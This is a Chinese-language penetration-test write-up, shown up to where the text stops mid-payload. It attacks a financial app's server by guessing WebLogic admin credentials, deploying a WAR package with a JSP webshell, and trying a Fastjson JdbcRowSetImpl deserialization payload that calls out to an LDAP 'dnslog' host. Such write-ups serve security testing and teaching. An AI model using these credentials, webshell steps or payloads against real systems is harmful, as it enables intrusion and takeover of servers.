金融类 App 渗透测试实战:从 Weblogic 到 Shiro 反序列化
1. 项目背景与目标分析
本次渗透测试的目标为一个新建的金融类移动应用程序。在测试初期,通过抓包工具对 App 的网络通信进行分析,发现其请求与响应数据包均经过了复杂的加密处理,这增加了直接逆向分析的难度。然而,在排查网络端口时,发现目标服务器开放了 7002 端口,这是一个典型的 WebLogic 管理控制台默认端口。基于此线索,我们决定将攻击面转向中间件层面的漏洞利用。
2. WebLogic 弱口令漏洞利用
2.1 服务识别
访问目标服务器的 7002 端口后,确认运行的是 Oracle WebLogic Server。页面显示了标准的 WebLogic 登录界面。由于近期 WebLogic 相关漏洞频发,且该版本可能存在已知配置缺陷,我们首先尝试了常见的弱口令组合进行暴力破解。
2.2 凭证获取
经过多次尝试,包括 console/console、weblogic/weblogic 等常见组合均未成功。但在查阅社区公开的安全情报及参考特定版本的已知风险后,我们尝试了 weblogic/weblogic123 组合。验证结果显示,该账户拥有管理员权限。值得注意的是,部分旧版本的 WebLogic jar 包可能未启用某些安全策略,导致弱口令更容易生效。
2.3 获取 Shell
成功登录管理控制台后,利用 WebLogic 的远程部署功能,我们可以上传恶意的 WAR 包文件。通过构造包含 JSP 木马的 WAR 包并部署至应用服务器,即可实现远程代码执行(GetShell)。这一步为我们后续深入分析业务逻辑提供了底层权限支持。
3. Fastjson 远程命令执行漏洞
3.1 依赖分析
在获得服务器权限后,我们检查了已部署的应用程序目录。在第一个站点的 lib 目录下,发现了 fastjson 库文件,版本号为 1.1.39。此外,开发人员在服务器上留下了用于调试的 debug 页面,暴露了部分内部路径信息。Fastjson 是一个广泛使用的 Java JSON 解析库,但历史上存在多个严重的反序列化漏洞。
3.2 漏洞验证
针对 Fastjson 1.1.39 版本,我们尝试了多种 Payload 进行利用。
首先,使用了针对较新版本(如 1.2.47)的 Payload,包含 JdbcRowSetImpl 类调用 LDAP 协议:
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://dnslog"


